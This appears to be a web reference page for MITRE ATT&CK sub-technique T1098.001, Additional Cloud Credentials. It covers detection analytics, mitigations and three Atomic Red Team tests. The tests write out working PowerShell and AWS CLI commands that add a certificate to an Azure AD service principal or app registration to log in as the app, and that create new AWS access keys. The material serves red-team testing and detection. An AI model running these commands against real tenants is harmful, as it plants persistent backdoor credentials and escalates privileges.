tfMITRE ATT&CK sub-technique

Additional Cloud Credentials T1098.001

sub-technique of T1098 Account Manipulation

Tactics: Persistence, Privilege Escalation
Platforms: IaaS, Identity Provider, SaaS
Version: 2.8
Created: 19 January 2020
Last modified: 24 October 2025
Contributors: Expel; Oleg Kolesnikov, Securonix; Jannie Li, Microsoft Threat Intelligence Center (MSTIC); Zur Ulianitzky, XM Cyber; Alex Soler, AttackIQ; Dylan Silva, AWS Security; Arad Inbar, Fidelis Security; Arun Seelagan, CISA

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Additional Cloud Credentials MITRE reference T1098.001

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Storm-0501G1053 ↗

Has reset the password of identified administrator accounts that lack MFA and registered their own MFA method.1

created 2025-10-191 reference

All 1 groups for this technique

Offense vs defense T1098.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 3Splunk ESCU (cumulative) · 2

first rule: 2022 Q2 · 2 of 2 campaigns plotted

Additional Cloud Credentials detection strategy DET0531

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS

Enterprise

3 platforms

AN1469 · Identity Provider

Addition of credentials (keys, app passwords, x.509 certs) to existing cloud accounts, service principals, or OAuth apps via portal or API by non-standard identities or IP ranges.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account ModificationDC0010	azure:audit	Add service principal credentials, app password added, app role assignment

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MFABypassMechanism	App password or legacy auth activity bypassing MFA policies.
SourceIPAllowlist	Expected IPs allowed to perform admin identity operations.
ApplicationCredentialType	Track types like `client_secret`, `certificate`, `password`, `federated`.

AN1470 · IaaS

Cloud API usage to create/import SSH keys or generate new access keys (CreateAccessKey, ImportKeyPair, CreateLoginProfile) from non-console access or unusual principals.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account ModificationDC0010	gcp:audit	iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add
Active Directory Object CreationDC0087	AWS:CloudTrail	CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CallerIdentityContext	Track root, federated identities, and STS tokens separately.
NewCredentialUsageWindow	Time between key creation and first use (default: 5 min).
IAMRoleBaseline	Expected services/accounts allowed to create keys.

AN1471 · SaaS

Credential-related configuration changes in productivity apps, such as API key creation in Google Workspace, app tokens in Slack, or user-level OAuth credentials in M365.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account ModificationDC0010	gcp:audit	API Key Created, OAuth Client Registered
Active Directory Object ModificationDC0066	m365:unified	Set-Mailbox, Set-AppPassword, Add-MailboxPermission

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
OAuthClientRedirectURIBaseline	Detect suspicious redirect URI mismatches in new clients.
TokenScopeSensitivity	Highlight credentials granting excessive read/write org-wide.

Disable or Remove Feature or ProgramM1042

Remove unnecessary and potentially abusable authentication mechanisms where possible. For example, in Entra ID environments, disable the app password feature unless explicitly required.

Multi-factor AuthenticationM1032

Use multi-factor authentication for user and privileged accounts. Consider enforcing multi-factor authentication for the CreateKeyPair and ImportKeyPair API calls through IAM policies.

Network SegmentationM1030

Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.

Privileged Account ManagementM1026

Do not allow domain administrator or root accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

User Account ManagementM1018

Ensure that low-privileged user accounts do not have permission to add access keys to accounts. In AWS environments, prohibit users from calling the sts:GetFederationToken API unless explicitly required.

Tests3ExecutorsPowerShell 2 · sh 1Need elevation0 of 3Have prerequisites3Have cleanup3Platformsazure-ad, iaas:aws

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Azure AD Application Hijacking - Service Principal

azure-ad

PowerShell

—

Yes

Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

Input arguments

Name	Type	Default	Description
password	string	p4sswd	Azure AD password
username	string	jonh@contoso.com	Azure AD username
service_principal_name	string	SuperSP	Name of the targeted service principal

Attack command

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""

New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

Cleanup command

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null

$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Write-Host "Removed $($cred.KeyId) key from SP"
    Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item

Prerequisite

AzureAD module must be installed.

Check

try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Satisfy

Install-Module -Name AzureAD -Force

GUID5ed95400-c8d4-4726-b7e0-44c599ce9191

Azure AD Application Hijacking - App Registration

azure-ad

PowerShell

—

Yes

Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

Input arguments

Name	Type	Default	Description
password	string	p4sswd	Azure AD password
username	string	jonh@contoso.com	Azure AD username
application_name	string	SuperApp	Name of the targeted application

Attack command

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""

New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

Cleanup command

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null

$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Write-Host "Removed $($cred.KeyId) key from application"
    Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item

Prerequisite

AzureAD module must be installed.

Check

try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Satisfy

Install-Module -Name AzureAD -Force

GUIDd097314d-7733-4f6d-9f81-7de270330664

AWS - Create Access Key and Secret Key

iaas:aws

—

Yes

Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised

Input arguments

Name	Type	Default	Description
username	string	atomicredteam	Create new AWS access and secret keys for the user

Attack command

aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
cd "$PathToAtomicsFolder/T1098.001/bin/"
./aws_secret.sh

Cleanup command

access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'`
aws iam delete-access-key --access-key-id $access_key --user-name #{username}
rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"

Prerequisite

Check if the user exists.

Check

aws iam list-users | grep #{username}

Satisfy

echo Please run atomic test T1136.003, before running this atomic

GUIDd5b15de8-6e43-4b2e-a55e-6e8f883cef80

Tests from Atomic Red Team (MIT licence) · technique definition

Additional Cloud Credentials detections T1098.001

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs